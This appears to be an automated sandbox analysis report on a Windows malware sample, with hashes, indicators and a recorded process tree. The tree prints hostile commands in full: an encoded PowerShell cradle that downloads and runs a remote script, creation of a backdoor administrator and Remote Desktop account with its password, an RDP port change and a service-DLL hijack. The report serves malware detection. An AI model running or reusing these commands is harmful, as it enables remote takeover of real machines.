Analysis
-
max time kernel
148s -
max time network
151s -
platform
windows10_x64 -
resource
win10-en-20210920 -
submitted
01-10-2021 09:04
Static task
static1
Behavioral task
behavioral1
Sample
c1e0df4f2321e9375baee3a0a26fba64.exe
Resource
win7v20210408
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
c1e0df4f2321e9375baee3a0a26fba64.exe
Resource
win10-en-20210920
windows10_x64
0 signatures
0 seconds
General
-
Target
c1e0df4f2321e9375baee3a0a26fba64.exe
-
Size
5.7MB
-
MD5
c1e0df4f2321e9375baee3a0a26fba64
-
SHA1
dcf4d90d2f3fd11f14b5413be5b7dde70ff33f7c
-
SHA256
65a112982cc0d4e56c078c5333ed3553905bf4f3a639f2ff6e056ab518b6290e
-
SHA512
4bc74603d8a7a28a0c965cb78d7762c01312cdb6ee7d8be8f822ebb6bf3dbd273ac76c3ad5d0c70f9fa9439981c19a9bed4525f445d7faddb93e9db5a66a0ad7
Score
10/10
Malware Config
Extracted
Language
ps1
Deobfuscated
URLs
ps1.dropper
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1
Signatures
-
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
-
Blocklisted process makes network request 9 IoCs
flow pid Process 5 3296 powershell.exe 7 3296 powershell.exe 8 3296 powershell.exe 9 3296 powershell.exe 11 3296 powershell.exe 15 3296 powershell.exe 17 3296 powershell.exe 19 3296 powershell.exe 21 3296 powershell.exe -
Modifies RDP port number used by Windows 1 TTPs
-
Sets DLL path for service in the registry 2 TTPs
-
resource yara_rule behavioral2/files/0x000a00000001aba5-353.dat upx behavioral2/files/0x000a00000001abaa-354.dat upx -
Loads dropped DLL 2 IoCs
pid Process 3140 Process not Found 3140 Process not Found -
Drops file in Program Files directory 4 IoCs
description ioc Process File opened for modification C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT powershell.exe -
Drops file in Windows directory 19 IoCs
description ioc Process File opened for modification C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\branding\wupsvc.jpg powershell.exe File created C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGID71F.tmp powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\branding\Basebrd powershell.exe File opened for modification C:\Windows\branding\ShellBrd powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGID69F.tmp powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\branding\mediasrv.png powershell.exe File created C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGID730.tmp powershell.exe File created C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGID6EF.tmp powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_sd10h5ct.r3k.psm1 powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGID6CF.tmp powershell.exe File opened for modification C:\Windows\branding\mediasvc.png powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_niqgzha0.jkt.ps1 powershell.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3 powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\e1be3f182420a0a0 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c000000 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\LowIcon = "inetcpl.cpl#005424" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\1400 = "1" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1200 = "0" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\2500 = "3" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\PMDisplayName = "Local intranet [Protected Mode]" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1400 = "0" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\1400 = "1" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\ powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Icon = "shell32.dll#0018" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\ powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\DisplayName = "Internet" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\LowIcon = "inetcpl.cpl#005426" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1200 = "0" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Description = "Your computer" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Flags = "33" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent = "Mozilla/4.0 (compatible; MSIE 8.0; Win32)" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\@ivt = "1" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\CurrentLevel = "66816" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\ powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\LowIcon = "inetcpl.cpl#005426" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map\ef29a4ec885fa451 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings,User Agent," powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Flags = "33" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\PMDisplayName = "Trusted sites [Protected Mode]" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Icon = "shell32.dll#0018" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\ powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Flags = "71" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\PMDisplayName = "Computer [Protected Mode]" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map\57fd7ae31ab34c2c = ",33,HKCU,SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\5.0\\Cache\\Extensible Cache," powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\LowIcon = "inetcpl.cpl#005424" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Flags = "33" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\CurrentLevel = "0" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\1200 = "3" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\LowIcon = "inetcpl.cpl#005423" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\1200 = "3" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\1200 = "3" powershell.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 1076 reg.exe -
Runs net.exe
-
Script User-Agent 4 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 7 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 8 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 9 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 11 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 18 IoCs
pid Process 4084 powershell.exe 4084 powershell.exe 4084 powershell.exe 640 powershell.exe 640 powershell.exe 640 powershell.exe 3808 powershell.exe 3808 powershell.exe 3808 powershell.exe 852 powershell.exe 852 powershell.exe 852 powershell.exe 4084 powershell.exe 4084 powershell.exe 4084 powershell.exe 3296 powershell.exe 3296 powershell.exe 3296 powershell.exe -
Suspicious behavior: LoadsDriver 2 IoCs
pid Process 620 Process not Found 620 Process not Found -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4084 powershell.exe Token: SeDebugPrivilege 640 powershell.exe Token: SeIncreaseQuotaPrivilege 640 powershell.exe Token: SeSecurityPrivilege 640 powershell.exe Token: SeTakeOwnershipPrivilege 640 powershell.exe Token: SeLoadDriverPrivilege 640 powershell.exe Token: SeSystemProfilePrivilege 640 powershell.exe Token: SeSystemtimePrivilege 640 powershell.exe Token: SeProfSingleProcessPrivilege 640 powershell.exe Token: SeIncBasePriorityPrivilege 640 powershell.exe Token: SeCreatePagefilePrivilege 640 powershell.exe Token: SeBackupPrivilege 640 powershell.exe Token: SeRestorePrivilege 640 powershell.exe Token: SeShutdownPrivilege 640 powershell.exe Token: SeDebugPrivilege 640 powershell.exe Token: SeSystemEnvironmentPrivilege 640 powershell.exe Token: SeRemoteShutdownPrivilege 640 powershell.exe Token: SeUndockPrivilege 640 powershell.exe Token: SeManageVolumePrivilege 640 powershell.exe Token: 33 640 powershell.exe Token: 34 640 powershell.exe Token: 35 640 powershell.exe Token: 36 640 powershell.exe Token: SeDebugPrivilege 3808 powershell.exe Token: SeIncreaseQuotaPrivilege 3808 powershell.exe Token: SeSecurityPrivilege 3808 powershell.exe Token: SeTakeOwnershipPrivilege 3808 powershell.exe Token: SeLoadDriverPrivilege 3808 powershell.exe Token: SeSystemProfilePrivilege 3808 powershell.exe Token: SeSystemtimePrivilege 3808 powershell.exe Token: SeProfSingleProcessPrivilege 3808 powershell.exe Token: SeIncBasePriorityPrivilege 3808 powershell.exe Token: SeCreatePagefilePrivilege 3808 powershell.exe Token: SeBackupPrivilege 3808 powershell.exe Token: SeRestorePrivilege 3808 powershell.exe Token: SeShutdownPrivilege 3808 powershell.exe Token: SeDebugPrivilege 3808 powershell.exe Token: SeSystemEnvironmentPrivilege 3808 powershell.exe Token: SeRemoteShutdownPrivilege 3808 powershell.exe Token: SeUndockPrivilege 3808 powershell.exe Token: SeManageVolumePrivilege 3808 powershell.exe Token: 33 3808 powershell.exe Token: 34 3808 powershell.exe Token: 35 3808 powershell.exe Token: 36 3808 powershell.exe Token: SeDebugPrivilege 852 powershell.exe Token: SeIncreaseQuotaPrivilege 852 powershell.exe Token: SeSecurityPrivilege 852 powershell.exe Token: SeTakeOwnershipPrivilege 852 powershell.exe Token: SeLoadDriverPrivilege 852 powershell.exe Token: SeSystemProfilePrivilege 852 powershell.exe Token: SeSystemtimePrivilege 852 powershell.exe Token: SeProfSingleProcessPrivilege 852 powershell.exe Token: SeIncBasePriorityPrivilege 852 powershell.exe Token: SeCreatePagefilePrivilege 852 powershell.exe Token: SeBackupPrivilege 852 powershell.exe Token: SeRestorePrivilege 852 powershell.exe Token: SeShutdownPrivilege 852 powershell.exe Token: SeDebugPrivilege 852 powershell.exe Token: SeSystemEnvironmentPrivilege 852 powershell.exe Token: SeRemoteShutdownPrivilege 852 powershell.exe Token: SeUndockPrivilege 852 powershell.exe Token: SeManageVolumePrivilege 852 powershell.exe Token: 33 852 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2160 wrote to memory of 4084 2160 c1e0df4f2321e9375baee3a0a26fba64.exe 71 PID 2160 wrote to memory of 4084 2160 c1e0df4f2321e9375baee3a0a26fba64.exe 71 PID 4084 wrote to memory of 1200 4084 powershell.exe 73 PID 4084 wrote to memory of 1200 4084 powershell.exe 73 PID 1200 wrote to memory of 1048 1200 csc.exe 74 PID 1200 wrote to memory of 1048 1200 csc.exe 74 PID 4084 wrote to memory of 640 4084 powershell.exe 75 PID 4084 wrote to memory of 640 4084 powershell.exe 75 PID 4084 wrote to memory of 3808 4084 powershell.exe 78 PID 4084 wrote to memory of 3808 4084 powershell.exe 78 PID 4084 wrote to memory of 852 4084 powershell.exe 80 PID 4084 wrote to memory of 852 4084 powershell.exe 80 PID 4084 wrote to memory of 4052 4084 powershell.exe 82 PID 4084 wrote to memory of 4052 4084 powershell.exe 82 PID 4084 wrote to memory of 1076 4084 powershell.exe 83 PID 4084 wrote to memory of 1076 4084 powershell.exe 83 PID 4084 wrote to memory of 680 4084 powershell.exe 84 PID 4084 wrote to memory of 680 4084 powershell.exe 84 PID 4084 wrote to memory of 584 4084 powershell.exe 85 PID 4084 wrote to memory of 584 4084 powershell.exe 85 PID 584 wrote to memory of 1048 584 net.exe 86 PID 584 wrote to memory of 1048 584 net.exe 86 PID 4084 wrote to memory of 3800 4084 powershell.exe 87 PID 4084 wrote to memory of 3800 4084 powershell.exe 87 PID 3800 wrote to memory of 1500 3800 cmd.exe 88 PID 3800 wrote to memory of 1500 3800 cmd.exe 88 PID 1500 wrote to memory of 1528 1500 cmd.exe 89 PID 1500 wrote to memory of 1528 1500 cmd.exe 89 PID 1528 wrote to memory of 3916 1528 net.exe 90 PID 1528 wrote to memory of 3916 1528 net.exe 90 PID 4084 wrote to memory of 4008 4084 powershell.exe 91 PID 4084 wrote to memory of 4008 4084 powershell.exe 91 PID 4008 wrote to memory of 2188 4008 cmd.exe 92 PID 4008 wrote to memory of 2188 4008 cmd.exe 92 PID 2188 wrote to memory of 2480 2188 cmd.exe 93 PID 2188 wrote to memory of 2480 2188 cmd.exe 93 PID 2480 wrote to memory of 2928 2480 net.exe 94 PID 2480 wrote to memory of 2928 2480 net.exe 94 PID 1356 wrote to memory of 3856 1356 cmd.exe 98 PID 1356 wrote to memory of 3856 1356 cmd.exe 98 PID 3856 wrote to memory of 1008 3856 net.exe 99 PID 3856 wrote to memory of 1008 3856 net.exe 99 PID 2860 wrote to memory of 3404 2860 cmd.exe 102 PID 2860 wrote to memory of 3404 2860 cmd.exe 102 PID 3404 wrote to memory of 3784 3404 net.exe 103 PID 3404 wrote to memory of 3784 3404 net.exe 103 PID 3144 wrote to memory of 680 3144 cmd.exe 106 PID 3144 wrote to memory of 680 3144 cmd.exe 106 PID 680 wrote to memory of 896 680 net.exe 107 PID 680 wrote to memory of 896 680 net.exe 107 PID 3888 wrote to memory of 3440 3888 cmd.exe 110 PID 3888 wrote to memory of 3440 3888 cmd.exe 110 PID 3440 wrote to memory of 1500 3440 net.exe 111 PID 3440 wrote to memory of 1500 3440 net.exe 111 PID 2868 wrote to memory of 3116 2868 cmd.exe 114 PID 2868 wrote to memory of 3116 2868 cmd.exe 114 PID 3116 wrote to memory of 1576 3116 net.exe 115 PID 3116 wrote to memory of 1576 3116 net.exe 115 PID 3328 wrote to memory of 1940 3328 cmd.exe 118 PID 3328 wrote to memory of 1940 3328 cmd.exe 118 PID 1940 wrote to memory of 4040 1940 net.exe 119 PID 1940 wrote to memory of 4040 1940 net.exe 119 PID 2860 wrote to memory of 416 2860 cmd.exe 122 PID 2860 wrote to memory of 416 2860 cmd.exe 122
Processes
-
C:\Users\Admin\AppData\Local\Temp\c1e0df4f2321e9375baee3a0a26fba64.exe"C:\Users\Admin\AppData\Local\Temp\c1e0df4f2321e9375baee3a0a26fba64.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:2160 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'2⤵
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4084 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dsdbzkag\dsdbzkag.cmdline"3⤵
- Suspicious use of WriteProcessMemory
PID:1200 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES99A6.tmp" "c:\Users\Admin\AppData\Local\Temp\dsdbzkag\CSC4D15202A4BF94AC396D8EB7BDA1A338.TMP"4⤵PID:1048
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:640
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3808
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:852
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f3⤵PID:4052
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f3⤵
- Modifies registry key
PID:1076
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f3⤵PID:680
-
-
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add3⤵
- Suspicious use of WriteProcessMemory
PID:584 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add4⤵PID:1048
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr3⤵
- Suspicious use of WriteProcessMemory
PID:3800 -
C:\Windows\system32\cmd.execmd /c net start rdpdr4⤵
- Suspicious use of WriteProcessMemory
PID:1500 -
C:\Windows\system32\net.exenet start rdpdr5⤵
- Suspicious use of WriteProcessMemory
PID:1528 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start rdpdr6⤵PID:3916
-
-
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService3⤵
- Suspicious use of WriteProcessMemory
PID:4008 -
C:\Windows\system32\cmd.execmd /c net start TermService4⤵
- Suspicious use of WriteProcessMemory
PID:2188 -
C:\Windows\system32\net.exenet start TermService5⤵
- Suspicious use of WriteProcessMemory
PID:2480 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start TermService6⤵PID:2928
-
-
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f3⤵PID:3800
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f3⤵PID:3892
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc 000000 /del1⤵
- Suspicious use of WriteProcessMemory
PID:1356 -
C:\Windows\system32\net.exenet.exe user WgaUtilAcc 000000 /del2⤵
- Suspicious use of WriteProcessMemory
PID:3856 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc 000000 /del3⤵PID:1008
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc EvL1Qs26 /add1⤵
- Suspicious use of WriteProcessMemory
PID:2860 -
C:\Windows\system32\net.exenet.exe user WgaUtilAcc EvL1Qs26 /add2⤵
- Suspicious use of WriteProcessMemory
PID:3404 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc EvL1Qs26 /add3⤵PID:3784
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD1⤵
- Suspicious use of WriteProcessMemory
PID:3144 -
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD2⤵
- Suspicious use of WriteProcessMemory
PID:680 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD3⤵PID:896
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" RSSLLXYN$ /ADD1⤵
- Suspicious use of WriteProcessMemory
PID:3888 -
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" RSSLLXYN$ /ADD2⤵
- Suspicious use of WriteProcessMemory
PID:3440 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RSSLLXYN$ /ADD3⤵PID:1500
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD1⤵
- Suspicious use of WriteProcessMemory
PID:2868 -
C:\Windows\system32\net.exenet.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD2⤵
- Suspicious use of WriteProcessMemory
PID:3116 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD3⤵PID:1576
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc EvL1Qs261⤵
- Suspicious use of WriteProcessMemory
PID:3328 -
C:\Windows\system32\net.exenet.exe user WgaUtilAcc EvL1Qs262⤵
- Suspicious use of WriteProcessMemory
PID:1940 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc EvL1Qs263⤵PID:4040
-
-
-
C:\Windows\System32\cmd.execmd.exe /C wmic path win32_VideoController get name1⤵
- Suspicious use of WriteProcessMemory
PID:2860 -
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name2⤵PID:416
-
-
C:\Windows\System32\cmd.execmd.exe /C wmic CPU get NAME1⤵PID:2448
-
C:\Windows\System32\Wbem\WMIC.exewmic CPU get NAME2⤵PID:3892
-
-
C:\Windows\System32\cmd.execmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA1⤵PID:1368
-
